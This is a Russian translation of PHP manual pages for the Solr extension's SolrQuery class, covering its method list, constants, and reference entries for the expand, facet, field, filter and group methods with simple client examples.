public getMltMinTermFrequency(): int
public getMltMinWordLength(): int
public getMltQueryFields(): array
public getQuery(): string
public getRows(): int
public getSortFields(): array
public getStart(): int
public getStats(): bool
public getStatsFacets(): array
public getStatsFields(): array
public getTerms(): bool
public getTermsField(): string
public getTermsIncludeLowerBound(): bool
public getTermsIncludeUpperBound(): bool
public getTermsLimit(): int
public getTermsLowerBound(): string
public getTermsMaxCount(): int
public getTermsMinCount(): int
public getTermsPrefix(): string
public getTermsReturnRaw(): bool
public getTermsSort(): int
public getTermsUpperBound(): string
public getTimeAllowed(): int
public removeExpandFilterQuery(string $fq): SolrQuery
public removeExpandSortField(string $field): SolrQuery
public removeFacetDateField(string $field): SolrQuery
public removeFacetDateOther(string $value, string $field_override = ?): SolrQuery
public removeFacetField(string $field): SolrQuery
public removeFacetQuery(string $value): SolrQuery
public removeField(string $field): SolrQuery
public removeFilterQuery(string $fq): SolrQuery
public removeHighlightField(string $field): SolrQuery
public removeMltField(string $field): SolrQuery
public removeMltQueryField(string $queryField): SolrQuery
public removeSortField(string $field): SolrQuery
public removeStatsFacet(string $value): SolrQuery
public removeStatsField(string $field): SolrQuery
public setEchoHandler(bool $flag): SolrQuery
public setEchoParams(string $type): SolrQuery
public setExpand(bool $value): SolrQuery
public setExpandQuery(string $q): SolrQuery
public setExpandRows(int $value): SolrQuery
public setExplainOther(string $query): SolrQuery
public setFacet(bool $flag): SolrQuery
public setFacetDateEnd(string $value, string $field_override = ?): SolrQuery
public setFacetDateGap(string $value, string $field_override = ?): SolrQuery
public setFacetDateHardEnd(bool $value, string $field_override = ?): SolrQuery
public setFacetDateStart(string $value, string $field_override = ?): SolrQuery
public setFacetEnumCacheMinDefaultFrequency(int $frequency, string $field_override = ?): SolrQuery
public setFacetLimit(int $limit, string $field_override = ?): SolrQuery
public setFacetMethod(string $method, string $field_override = ?): SolrQuery
public setFacetMinCount(int $mincount, string $field_override = ?): SolrQuery
public setFacetMissing(bool $flag, string $field_override = ?): SolrQuery
public setFacetOffset(int $offset, string $field_override = ?): SolrQuery
public setFacetPrefix(string $prefix, string $field_override = ?): SolrQuery
public setFacetSort(int $facetSort, string $field_override = ?): SolrQuery
public setGroup(bool $value): SolrQuery
public setGroupCachePercent(int $percent): SolrQuery
public setGroupFacet(bool $value): SolrQuery
public setGroupFormat(string $value): SolrQuery
public setGroupLimit(int $value): SolrQuery
public setGroupMain(string $value): SolrQuery
public setGroupNGroups(bool $value): SolrQuery
public setGroupOffset(int $value): SolrQuery
public setGroupTruncate(bool $value): SolrQuery
public setHighlight(bool $flag): SolrQuery
public setHighlightAlternateField(string $field, string $field_override = ?): SolrQuery
public setHighlightFormatter(string $formatter, string $field_override = ?): SolrQuery
public setHighlightFragmenter(string $fragmenter, string $field_override = ?): SolrQuery
public setHighlightFragsize(int $size, string $field_override = ?): SolrQuery
public setHighlightHighlightMultiTerm(bool $flag): SolrQuery
public setHighlightMaxAlternateFieldLength(int $fieldLength, string $field_override = ?): SolrQuery
public setHighlightMaxAnalyzedChars(int $value): SolrQuery
public setHighlightMergeContiguous(bool $flag, string $field_override = ?): SolrQuery
public setHighlightRegexMaxAnalyzedChars(int $maxAnalyzedChars): SolrQuery
public setHighlightRegexPattern(string $value): SolrQuery
public setHighlightRegexSlop(float $factor): SolrQuery
public setHighlightRequireFieldMatch(bool $flag): SolrQuery
public setHighlightSimplePost(string $simplePost, string $field_override = ?): SolrQuery
public setHighlightSimplePre(string $simplePre, string $field_override = ?): SolrQuery
public setHighlightSnippets(int $value, string $field_override = ?): SolrQuery
public setHighlightUsePhraseHighlighter(bool $flag): SolrQuery
public setMlt(bool $flag): SolrQuery
public setMltBoost(bool $flag): SolrQuery
public setMltCount(int $count): SolrQuery
public setMltMaxNumQueryTerms(int $value): SolrQuery
public setMltMaxNumTokens(int $value): SolrQuery
public setMltMaxWordLength(int $maxWordLength): SolrQuery
public setMltMinDocFrequency(int $minDocFrequency): SolrQuery
public setMltMinTermFrequency(int $minTermFrequency): SolrQuery
public setMltMinWordLength(int $minWordLength): SolrQuery
public setOmitHeader(bool $flag): SolrQuery
public setQuery(string $query): SolrQuery
public setRows(int $rows): SolrQuery
public setShowDebugInfo(bool $flag): SolrQuery
public setStart(int $start): SolrQuery
public setStats(bool $flag): SolrQuery
public setTerms(bool $flag): SolrQuery
public setTermsField(string $fieldname): SolrQuery
public setTermsIncludeLowerBound(bool $flag): SolrQuery
public setTermsIncludeUpperBound(bool $flag): SolrQuery
public setTermsLimit(int $limit): SolrQuery
public setTermsLowerBound(string $lowerBound): SolrQuery
public setTermsMaxCount(int $frequency): SolrQuery
public setTermsMinCount(int $frequency): SolrQuery
public setTermsPrefix(string $prefix): SolrQuery
public setTermsReturnRaw(bool $flag): SolrQuery
public setTermsSort(int $sortType): SolrQuery
public setTermsUpperBound(string $upperBound): SolrQuery
public setTimeAllowed(int $timeAllowed): SolrQuery
public __destruct()
/* Наследуемые методы */
public SolrModifiableParams::__construct()
public SolrModifiableParams::__destruct()
}

Предопределённые константы

SolrQuery::ORDER_ASC

Используется для указания того, что сортировка должна быть в порядке возрастания

SolrQuery::ORDER_DESC

Используется для указания, что сортировка должна быть в порядке убывания

SolrQuery::FACET_SORT_INDEX

Используется для указания сортировки фасета по индексу

SolrQuery::FACET_SORT_COUNT

Используется для указания того, что фасет должен сортировать по количеству

SolrQuery::TERMS_SORT_INDEX

Используется в TermsComponent

SolrQuery::TERMS_SORT_COUNT

Используется в TermsComponent

Содержание

  • SolrQuery::addExpandFilterQuery — Переопределяет запрос основного фильтра, определяет, какие документы включить в основную группу
  • SolrQuery::addExpandSortField — Упорядочивает документы в расширенных группах (параметр expand.sort)
  • SolrQuery::addFacetDateField — Карты для facet.date
  • SolrQuery::addFacetDateOther — Добавляет ещё один параметр facet.date.other
  • SolrQuery::addFacetField — Добавляет другое поле к фасету
  • SolrQuery::addFacetQuery — Добавляет фасетный запрос
  • SolrQuery::addField — Указывает, какие поля возвращать в результате
  • SolrQuery::addFilterQuery — Определяет запрос фильтра
  • SolrQuery::addGroupField — Добавляет поле, которое будет использоваться для группировки результатов
  • SolrQuery::addGroupFunction — Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
  • SolrQuery::addGroupQuery — Позволяет группировать документы, соответствующие данному запросу
  • SolrQuery::addGroupSortField — Добавляет поле сортировки группы (параметр group.sort)
  • SolrQuery::addHighlightField — Соответствует hl.fl
  • SolrQuery::addMltField — Устанавливает поле для использования для подобия
  • SolrQuery::addMltQueryField — Соответствует mlt.qf
  • SolrQuery::addSortField — Используется для управления сортировкой результатов
  • SolrQuery::addStatsFacet — Запрашивает возврат вспомогательных результатов для значений в данном фасете
  • SolrQuery::addStatsField — Соответствует параметру stats.field
  • SolrQuery::collapse — Сворачивает набор результатов до одного документа на группу
  • SolrQuery::__construct — Конструктор
  • SolrQuery::__destruct — Деструктор
  • SolrQuery::getExpand — Возвращает true, если включено расширение группы
  • SolrQuery::getExpandFilterQueries — Возвращает запросы расширенного фильтра
  • SolrQuery::getExpandQuery — Возвращает параметр расширенного запроса expand.q
  • SolrQuery::getExpandRows — Возвращает количество строк, отображаемых в каждой группе (expand.rows)
  • SolrQuery::getExpandSortFields — Возвращает массив полей
  • SolrQuery::getFacet — Возвращает значение параметра фасета
  • SolrQuery::getFacetDateEnd — Возвращает значение параметра facet.date.end
  • SolrQuery::getFacetDateFields — Возвращает все поля facet.date
  • SolrQuery::getFacetDateGap — Возвращает значение параметра facet.date.gap
  • SolrQuery::getFacetDateHardEnd — Возвращает значение параметра facet.date.hardend
  • SolrQuery::getFacetDateOther — Возвращает значение параметра facet.date.other
  • SolrQuery::getFacetDateStart — Возвращает нижнюю границу первого диапазона дат для всех аспектов даты в этом поле
  • SolrQuery::getFacetFields — Возвращает все поля фасетов
  • SolrQuery::getFacetLimit — Возвращает максимальное количество счётчиков ограничений, которое должно быть возвращено для полей фасета
  • SolrQuery::getFacetMethod — Возвращает значение параметра facet.method
  • SolrQuery::getFacetMinCount — Возвращает минимальное количество полей аспектов, которые должны быть включены в ответ
  • SolrQuery::getFacetMissing — Возвращает текущее состояние параметра facet.missing
  • SolrQuery::getFacetOffset — Возвращает смещение в списке ограничений, которые будут использоваться для постраничной навигации
  • SolrQuery::getFacetPrefix — Возвращает префикс фасета
  • SolrQuery::getFacetQueries — Возвращает все фасетные запросы
  • SolrQuery::getFacetSort — Возвращает тип сортировки фасета
  • SolrQuery::getFields — Возвращает список полей, которые будут возвращены в ответе
  • SolrQuery::getFilterQueries — Возвращает массив запросов фильтра
  • SolrQuery::getGroup — Возвращает true, если группировка включена
  • SolrQuery::getGroupCachePercent — Возвращает процентное значение группового кеша
  • SolrQuery::getGroupFacet — Возвращает значение параметра group.facet
  • SolrQuery::getGroupFields — Возвращает групповые поля (значения параметра group.field)
  • SolrQuery::getGroupFormat — Возвращает значение group.format
  • SolrQuery::getGroupFunctions — Возвращает групповые функции (значения параметров group.func)
  • SolrQuery::getGroupLimit — Возвращает значение group.limit
  • SolrQuery::getGroupMain — Возвращает значение group.main
  • SolrQuery::getGroupNGroups — Возвращает значение group.ngroups
  • SolrQuery::getGroupOffset — Возвращает значение group.offset
  • SolrQuery::getGroupQueries — Возвращает все значения параметра group.query
  • SolrQuery::getGroupSortFields — Возвращает значение group.sort
  • SolrQuery::getGroupTruncate — Возвращает значение group.truncate
  • SolrQuery::getHighlight — Возвращает состояние параметра hl
  • SolrQuery::getHighlightAlternateField — Возвращает выделенное поле для использования в качестве резервной копии или по умолчанию
  • SolrQuery::getHighlightFields — Возвращает все поля, для которых Solr должен генерировать выделенные фрагменты
  • SolrQuery::getHighlightFormatter — Возвращает средство форматирования для выделенного вывода
  • SolrQuery::getHighlightFragmenter — Возвращает генератор фрагментов текста для выделенного текста
  • SolrQuery::getHighlightFragsize — Возвращает количество символов фрагментов для выделения
  • SolrQuery::getHighlightHighlightMultiTerm — Возвращает, следует ли включать выделение для запросов диапазона/подстановочных знаков/нечётких/префиксов
  • SolrQuery::getHighlightMaxAlternateFieldLength — Возвращает максимальное количество символов поля для возврата
  • SolrQuery::getHighlightMaxAnalyzedChars — Возвращает максимальное количество символов в документе для поиска подходящих фрагментов
  • SolrQuery::getHighlightMergeContiguous — Возвращает, свернуть ли смежные фрагменты в один фрагмент
  • SolrQuery::getHighlightRegexMaxAnalyzedChars — Возвращает максимальное количество символов из поля при использовании фрагментатора регулярного выражения
  • SolrQuery::getHighlightRegexPattern — Возвращает регулярное выражение для фрагментации
  • SolrQuery::getHighlightRegexSlop — Возвращает коэффициент отклонения от идеального размера фрагмента
  • SolrQuery::getHighlightRequireFieldMatch — Возвращает, если поле будет выделено только в том случае, если запрос соответствует этому конкретному полю
  • SolrQuery::getHighlightSimplePost — Возвращает текст, который появляется после выделенного выражения
  • SolrQuery::getHighlightSimplePre — Возвращает текст, который появляется перед выделенным выражением
  • SolrQuery::getHighlightSnippets — Возвращает максимальное количество выделенных фрагментов для создания для каждого поля
  • SolrQuery::getHighlightUsePhraseHighlighter — Возвращает состояние параметра hl.usePhraseHighlighter
  • SolrQuery::getMlt — Возвращает, должны ли быть включены результаты MoreLikeThis
  • SolrQuery::getMltBoost — Возвращает, будет ли запрос усилен релевантностью интересующего выражения
  • SolrQuery::getMltCount — Возвращает количество похожих документов, возвращаемых для каждого результата
  • SolrQuery::getMltFields — Возвращает все поля, которые нужно использовать для сравнения
  • SolrQuery::getMltMaxNumQueryTerms — Возвращает максимальное количество условий запроса, которые будут включены в любой сгенерированный запрос
  • SolrQuery::getMltMaxNumTokens — Возвращает максимальное количество токенов для анализа в каждом поле документа, которое не хранится с поддержкой TermVector
  • SolrQuery::getMltMaxWordLength — Возвращает максимальную длину слова, выше которой слова будут игнорироваться
  • SolrQuery::getMltMinDocFrequency — Возвращает пороговую частоту, с которой будут игнорироваться слова, которых нет, по крайней мере, в таком количестве документов
  • SolrQuery::getMltMinTermFrequency — Возвращает частоту, ниже которой выражения будут игнорироваться в исходном документе
  • SolrQuery::getMltMinWordLength — Возвращает минимальную длину слова, ниже которой слова будут игнорироваться
  • SolrQuery::getMltQueryFields — Возвращает поля запроса и их повышения
  • SolrQuery::getQuery — Возвращает основной запрос
  • SolrQuery::getRows — Возвращает максимальное количество документов
  • SolrQuery::getSortFields — Возвращает все поля сортировки
  • SolrQuery::getStart — Возвращает смещение в полном наборе результатов
  • SolrQuery::getStats — Возвращает, включена ли статистика
  • SolrQuery::getStatsFacets — Возвращает все фасеты статистики, которые были установлены
  • SolrQuery::getStatsFields — Возвращает все поля статистики
  • SolrQuery::getTerms — Возвращает, включён ли TermsComponent
  • SolrQuery::getTermsField — Возвращает поле, из которого извлекаются выражения
  • SolrQuery::getTermsIncludeLowerBound — Возвращает, нужно ли включать выражение нижней границы в набор результатов
  • SolrQuery::getTermsIncludeUpperBound — Возвращает, нужно ли включать выражение верхней границы в набор результатов
  • SolrQuery::getTermsLimit — Возвращает максимальное количество выражений, которые должна вернуть Solr
  • SolrQuery::getTermsLowerBound — Возвращает выражение для начала
  • SolrQuery::getTermsMaxCount — Возвращает максимальную частоту документа
  • SolrQuery::getTermsMinCount — Возвращает минимальную частоту возврата документов для включения
  • SolrQuery::getTermsPrefix — Возвращает префикс выражения
  • SolrQuery::getTermsReturnRaw — Следует ли возвращать необработанные символы
  • SolrQuery::getTermsSort — Возвращает целое число, указывающее, как сортируются выражения
  • SolrQuery::getTermsUpperBound — Возвращает выражение для остановки
  • SolrQuery::getTimeAllowed — Возвращает время в миллисекундах, разрешённое для завершения запроса
  • SolrQuery::removeExpandFilterQuery — Удаляет запрос расширенного фильтра
  • SolrQuery::removeExpandSortField — Удаляет расширенное поле сортировки из параметра expand.sort
  • SolrQuery::removeFacetDateField — Удаляет одно из полей даты фасета
  • SolrQuery::removeFacetDateOther — Удаляет один из параметров facet.date.other
  • SolrQuery::removeFacetField — Удаляет один из параметров facet.date
  • SolrQuery::removeFacetQuery — Удаляет один из параметров facet.query
  • SolrQuery::removeField — Удаляет поле из списка полей
  • SolrQuery::removeFilterQuery — Удаляет запрос фильтра
  • SolrQuery::removeHighlightField — Удаляет одно из полей, используемых для выделения
  • SolrQuery::removeMltField — Удаляет одно из полей moreLikeThis
  • SolrQuery::removeMltQueryField — Удаляет одно из полей запроса moreLikeThis
  • SolrQuery::removeSortField — Удаляет одно из полей сортировки
  • SolrQuery::removeStatsFacet — Удаляет один из параметров stats.facet
  • SolrQuery::removeStatsField — Удаляет один из параметров stats.field
  • SolrQuery::setEchoHandler — Переключает параметр echoHandler
  • SolrQuery::setEchoParams — Определяет, какие параметры включать в ответ
  • SolrQuery::setExpand — Включает/отключает компонент Expand
  • SolrQuery::setExpandQuery — Устанавливает параметр expand.q
  • SolrQuery::setExpandRows — Устанавливает количество строк для отображения в каждой группе (expand.rows). По умолчанию 5
  • SolrQuery::setExplainOther — Устанавливает общий параметр запроса explainOther
  • SolrQuery::setFacet — Соответствует параметру фасета. Включает или отключает фасетирование
  • SolrQuery::setFacetDateEnd — Соответствует facet.date.end
  • SolrQuery::setFacetDateGap — Соответствует facet.date.gap
  • SolrQuery::setFacetDateHardEnd — Соответствует facet.date.hardend
  • SolrQuery::setFacetDateStart — Соответствует facet.date.start
  • SolrQuery::setFacetEnumCacheMinDefaultFrequency — Устанавливает минимальную частоту документа, используемую для определения количества выражений
  • SolrQuery::setFacetLimit — Соответствует facet.limit
  • SolrQuery::setFacetMethod — Задаёт тип алгоритма, который следует использовать при фасетировании поля
  • SolrQuery::setFacetMinCount — Соответствует facet.mincount
  • SolrQuery::setFacetMissing — Соответствует facet.missing
  • SolrQuery::setFacetOffset — Устанавливает смещение в список ограничений для разбивки на страницы
  • SolrQuery::setFacetPrefix — Определяет строковый префикс, с помощью которого ограничиваются выражения, на которых выполняется фасет
  • SolrQuery::setFacetSort — Определяет порядок ограничений поля фасета
  • SolrQuery::setGroup — Включает/отключает группировку результатов (параметр group)
  • SolrQuery::setGroupCachePercent — Включает кеширование для группировки результатов
  • SolrQuery::setGroupFacet — Устанавливает параметр group.facet
  • SolrQuery::setGroupFormat — Устанавливает формат группы, структуру результата (параметр group.format)
  • SolrQuery::setGroupLimit — Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
  • SolrQuery::setGroupMain — Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
  • SolrQuery::setGroupNGroups — Если true, Solr включает в результаты количество групп, которые соответствуют запросу
  • SolrQuery::setGroupOffset — Устанавливает параметр group.offset
  • SolrQuery::setGroupTruncate — Если true, подсчёт фасетов основан на наиболее релевантном документе каждой группы, соответствующей запросу
  • SolrQuery::setHighlight — Включает или отключает выделение
  • SolrQuery::setHighlightAlternateField — Задаёт поле резервного копирования для использования
  • SolrQuery::setHighlightFormatter — Задаёт средство форматирования для вывода выделения
  • SolrQuery::setHighlightFragmenter — Устанавливает генератор текстовых фрагментов для выделенного текста
  • SolrQuery::setHighlightFragsize — Размер фрагментов, которые следует учитывать при выделении
  • SolrQuery::setHighlightHighlightMultiTerm — Использовать SpanScorer для выделения выражений
  • SolrQuery::setHighlightMaxAlternateFieldLength — Устанавливает максимальное количество символов поля для возврата
  • SolrQuery::setHighlightMaxAnalyzedChars — Задаёт количество символов в документе для поиска подходящих фрагментов
  • SolrQuery::setHighlightMergeContiguous — Свёртывать ли смежные фрагменты в один фрагмент
  • SolrQuery::setHighlightRegexMaxAnalyzedChars — Задаёт максимальное количество символов для анализа
  • SolrQuery::setHighlightRegexPattern — Задаёт регулярное выражение для фрагментации
  • SolrQuery::setHighlightRegexSlop — Устанавливает коэффициент, на который фрагментатор регулярного выражения может отклониться от идеального размера фрагмента
  • SolrQuery::setHighlightRequireFieldMatch — Требовать сопоставления полей при выделении
  • SolrQuery::setHighlightSimplePost — Устанавливает текст, который появляется после выделенного выражения
  • SolrQuery::setHighlightSimplePre — Устанавливает текст, который появляется перед выделенным выражением
  • SolrQuery::setHighlightSnippets — Устанавливает максимальное количество выделенных фрагментов для создания для каждого поля
  • SolrQuery::setHighlightUsePhraseHighlighter — Следует ли выделять выражения только тогда, когда они появляются во фразе запроса
  • SolrQuery::setMlt — Включает или отключает moreLikeThis
  • SolrQuery::setMltBoost — Устанавливает, будет ли запрос усилен релевантностью интересного выражения
  • SolrQuery::setMltCount — Устанавливает количество похожих документов, возвращаемых для каждого результата
  • SolrQuery::setMltMaxNumQueryTerms — Устанавливает максимальное количество включаемых выражений запроса
  • SolrQuery::setMltMaxNumTokens — Задаёт максимальное количество токенов для анализа
  • SolrQuery::setMltMaxWordLength — Устанавливает максимальную длину слова
  • SolrQuery::setMltMinDocFrequency — Устанавливает частоту mltMinDoc
  • SolrQuery::setMltMinTermFrequency — Устанавливает частоту, ниже которой выражения будут игнорироваться в исходной документации
  • SolrQuery::setMltMinWordLength — Устанавливает минимальную длину слова
  • SolrQuery::setOmitHeader — Исключает заголовок из возвращаемых результатов
  • SolrQuery::setQuery — Устанавливает поисковый запрос
  • SolrQuery::setRows — Задаёт максимальное количество строк, возвращаемых в результате
  • SolrQuery::setShowDebugInfo — Флаг для отображения отладочной информации
  • SolrQuery::setStart — Определяет количество пропускаемых строк
  • SolrQuery::setStats — Включает или отключает компонент Stats
  • SolrQuery::setTerms — Включает или отключает TermsComponent
  • SolrQuery::setTermsField — Устанавливает имя поля, из которого нужно получить выражение
  • SolrQuery::setTermsIncludeLowerBound — Включает нижнюю границу выражения в набор результатов
  • SolrQuery::setTermsIncludeUpperBound — Включает верхнюю границу выражения в набор результатов
  • SolrQuery::setTermsLimit — Устанавливает максимальное количество возвращаемых выражений
  • SolrQuery::setTermsLowerBound — Определяет выражение, с которого нужно начинать
  • SolrQuery::setTermsMaxCount — Устанавливает максимальную частоту документов
  • SolrQuery::setTermsMinCount — Устанавливает минимальную частоту документов
  • SolrQuery::setTermsPrefix — Ограничивает совпадения выражениями, начинающимися с префикса
  • SolrQuery::setTermsReturnRaw — Вернуть необработанные символы проиндексированного выражения
  • SolrQuery::setTermsSort — Определяет, как сортировать возвращённые условия
  • SolrQuery::setTermsUpperBound — Устанавливает условие для остановки
  • SolrQuery::setTimeAllowed — Время, отведённое на поиск

User Contributed Notes

andy at borkedcoder dot com 29-Jan-2012 11:36
Note - if using morelikethis, and your query is on a numeric ID, then you will not be able to access the moreLikeThis object in the results...

when q=id:3493 searching with mlt, result is:

SolrObject Object
(
...
    [moreLikeThis] => SolrObject Object
        (
            [3493] => SolrObject Object
                (
                    [numFound] => 6286
                    [start] => 0
                    [docs] => Array
                        (
....etc

the numeric object name (3493 above) is impossible to access

not by $response->moreLikeThis->{3493} nor $response->moreLikeThis->{'3493'}, nothing...

only way is to convert the moreLikeThis object into an array with:
$response_array = (array) $response->moreLikeThis;

then iterate the array as the array key is known.


Переопределяет запрос основного фильтра, определяет, какие документы включить в основную группу

  • « SolrQuery
  • SolrQuery::addExpandSortField »
  • PHP Manual
  • SolrQuery
  • Переопределяет запрос основного фильтра, определяет, какие документы включить в основную группу

SolrQuery::addExpandFilterQuery

(PECL solr >= 2.2.0)

SolrQuery::addExpandFilterQuery — Переопределяет запрос основного фильтра, определяет, какие документы включить в основную группу

Описание

public SolrQuery::addExpandFilterQuery(string $fq): SolrQuery

Переопределяет запрос основного фильтра, определяет, какие документы включить в основную группу.

Список параметров

fq

Возвращаемые значения

SolrQuery

Смотрите также

  • SolrQuery::setExpand() - Включает/отключает компонент Expand
  • SolrQuery::addExpandSortField() - Упорядочивает документы в расширенных группах (параметр expand.sort)
  • SolrQuery::removeExpandSortField() - Удаляет расширенное поле сортировки из параметра expand.sort
  • SolrQuery::setExpandRows() - Устанавливает количество строк для отображения в каждой группе (expand.rows). По умолчанию 5
  • SolrQuery::setExpandQuery() - Устанавливает параметр expand.q
  • SolrQuery::removeExpandFilterQuery() - Удаляет запрос расширенного фильтра

User Contributed Notes

There are no user contributed notes for this page.


Упорядочивает документы в расширенных группах (параметр expand.sort)

  • « SolrQuery::addExpandFilterQuery
  • SolrQuery::addFacetDateField »
  • PHP Manual
  • SolrQuery
  • Упорядочивает документы в расширенных группах (параметр expand.sort)

SolrQuery::addExpandSortField

(PECL solr >= 2.2.0)

SolrQuery::addExpandSortField — Упорядочивает документы в расширенных группах (параметр expand.sort)

Описание

public SolrQuery::addExpandSortField(string $field, string $order = ?): SolrQuery

Упорядочивает документы в расширенных группах (параметр expand.sort).

Список параметров

field

Имя поля

order

Порядок ASC/DESC, используя константы SolrQuery::ORDER_*.

По умолчанию: SolrQuery::ORDER_DESC

Возвращаемые значения

SolrQuery

Смотрите также

  • SolrQuery::setExpand() - Включает/отключает компонент Expand
  • SolrQuery::removeExpandSortField() - Удаляет расширенное поле сортировки из параметра expand.sort
  • SolrQuery::setExpandRows() - Устанавливает количество строк для отображения в каждой группе (expand.rows). По умолчанию 5
  • SolrQuery::setExpandQuery() - Устанавливает параметр expand.q
  • SolrQuery::addExpandFilterQuery() - Переопределяет запрос основного фильтра, определяет, какие документы включить в основную группу
  • SolrQuery::removeExpandFilterQuery() - Удаляет запрос расширенного фильтра

User Contributed Notes

There are no user contributed notes for this page.


Карты для facet.date

  • « SolrQuery::addExpandSortField
  • SolrQuery::addFacetDateOther »
  • PHP Manual
  • SolrQuery
  • Карты для facet.date

SolrQuery::addFacetDateField

(PECL solr >= 0.9.2)

SolrQuery::addFacetDateField — Карты для facet.date

Описание

public SolrQuery::addFacetDateField(string $dateField): SolrQuery

Метод позволяет указать поле, которое должно рассматриваться как фасет.

Может использоваться несколько раз с разными именами полей для указания нескольких полей фасетов

Список параметров

dateField

Название поля даты.

Возвращаемые значения

Возвращает объект SolrQuery.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет ещё один параметр facet.date.other

  • « SolrQuery::addFacetDateField
  • SolrQuery::addFacetField »
  • PHP Manual
  • SolrQuery
  • Добавляет ещё один параметр facet.date.other

SolrQuery::addFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::addFacetDateOther — Добавляет ещё один параметр facet.date.other

Описание

public SolrQuery::addFacetDateOther(string $value, string $field_override = ?): SolrQuery

Устанавливает параметр facet.date.other. Принимает необязательное переопределение поля

Список параметров

value

Значение для использования.

field_override

Имя поля для переопределения.

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет другое поле к фасету

  • « SolrQuery::addFacetDateOther
  • SolrQuery::addFacetQuery »
  • PHP Manual
  • SolrQuery
  • Добавляет другое поле к фасету

SolrQuery::addFacetField

(PECL solr >= 0.9.2)

SolrQuery::addFacetField — Добавляет другое поле к фасету

Описание

public SolrQuery::addFacetField(string $field): SolrQuery

Добавляет другое поле к фасету

Список параметров

field

Название поля

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

Примеры

Пример #1 Пример использования SolrQuery::addFacetField()

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery($query);

$query->addField('price')->addField('color');

$query->setFacet(true);

$query->addFacetField('price')->addFacetField('color');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response['facet_counts']['facet_fields']);

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [color] => SolrObject Object
        (
            [blue] => 20
            [green] => 100
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Добавляет фасетный запрос

  • « SolrQuery::addFacetField
  • SolrQuery::addField »
  • PHP Manual
  • SolrQuery
  • Добавляет фасетный запрос

SolrQuery::addFacetQuery

(PECL solr >= 0.9.2)

SolrQuery::addFacetQuery — Добавляет фасетный запрос

Описание

public SolrQuery::addFacetQuery(string $facetQuery): SolrQuery

Добавляет фасетный запрос

Список параметров

facetQuery

Фасетный запрос

Возвращаемые значения

Возвращает текущий объект SolrQuery, если используется возвращаемое значение.

Примеры

Пример #1 Пример использования SolrQuery::addFacetField()

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetQuery('price:[* TO 500]')->addFacetQuery('price:[500 TO *]');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response->facet_counts->facet_queries);

?>

Вывод приведённого примера будет похож на:

SolrObject Object
(
    [price:[* TO 500]] => 14
    [price:[500 TO *]] => 2
)

User Contributed Notes

There are no user contributed notes for this page.


Указывает, какие поля возвращать в результате

  • « SolrQuery::addFacetQuery
  • SolrQuery::addFilterQuery »
  • PHP Manual
  • SolrQuery
  • Указывает, какие поля возвращать в результате

SolrQuery::addField

(PECL solr >= 0.9.2)

SolrQuery::addField — Указывает, какие поля возвращать в результате

Описание

public SolrQuery::addField(string $field): SolrQuery

Метод используется для указания набора полей для возврата, тем самым ограничивая объем данных, возвращаемых в ответе.

Он должен вызываться несколько раз, по одному разу для каждого имени поля.

Список параметров

field

Название поля

Возвращаемые значения

Возвращает текущий объект SolrQuery

User Contributed Notes

There are no user contributed notes for this page.


Определяет запрос фильтра

  • « SolrQuery::addField
  • SolrQuery::addGroupField »
  • PHP Manual
  • SolrQuery
  • Определяет запрос фильтра

SolrQuery::addFilterQuery

(PECL solr >= 0.9.2)

SolrQuery::addFilterQuery — Определяет запрос фильтра

Описание

public SolrQuery::addFilterQuery(string $fq): SolrQuery

Определяет запрос фильтра

Список параметров

fq

Фильтр запроса

Возвращаемые значения

Возвращает текущий объект SolrQuery.

Примеры

Пример #1 Пример использования SolrQuery::addFilterQuery()

<?php

$options = array
(
'hostname' => SOLR_SERVER_HOSTNAME,
'login' => SOLR_SERVER_USERNAME,
'password' => SOLR_SERVER_PASSWORD,
'port' => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('*:*');

$query->addFilterQuery('color:blue,green');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response['facet_counts']['facet_fields']);

?>

Вывод приведённого примера будет похож на:

&fq=color:blue,green

User Contributed Notes

There are no user contributed notes for this page.


Добавляет поле, которое будет использоваться для группировки результатов

  • « SolrQuery::addFilterQuery
  • SolrQuery::addGroupFunction »
  • PHP Manual
  • SolrQuery
  • Добавляет поле, которое будет использоваться для группировки результатов

SolrQuery::addGroupField

(PECL solr >= 2.2.0)

SolrQuery::addGroupField — Добавляет поле, которое будет использоваться для группировки результатов

Описание

public SolrQuery::addGroupField(string $value): SolrQuery

Имя поля, по которому группируются результаты. Поле должно быть однозначным и либо индексироваться, либо иметь тип поля, который имеет источник значения и работает в запросе функции, например, ExternalFileField. Это также должно быть строковое поле, такое как StrField или TextField Использует параметр group.field

Список параметров

value

Имя поля.

Возвращаемые значения

Возвращает экземпляр SolrQuery.

Смотрите также

  • SolrQuery::setGroup() - Включает/отключает группировку результатов (параметр group)
  • SolrQuery::addGroupFunction() - Позволяет группировать результаты на основе уникальных значений запроса функции (параметр group.func)
  • SolrQuery::addGroupQuery() - Позволяет группировать документы, соответствующие данному запросу
  • SolrQuery::addGroupSortField() - Добавляет поле сортировки группы (параметр group.sort)
  • SolrQuery::setGroupFacet() - Устанавливает параметр group.facet
  • SolrQuery::setGroupOffset() - Устанавливает параметр group.offset
  • SolrQuery::setGroupLimit() - Задаёт количество результатов, возвращаемых для каждой группы. Значение сервера по умолчанию - 1
  • SolrQuery::setGroupMain() - Если true, результат первой команды группировки полей используется в качестве основного списка результатов в ответе с использованием group.format=simple
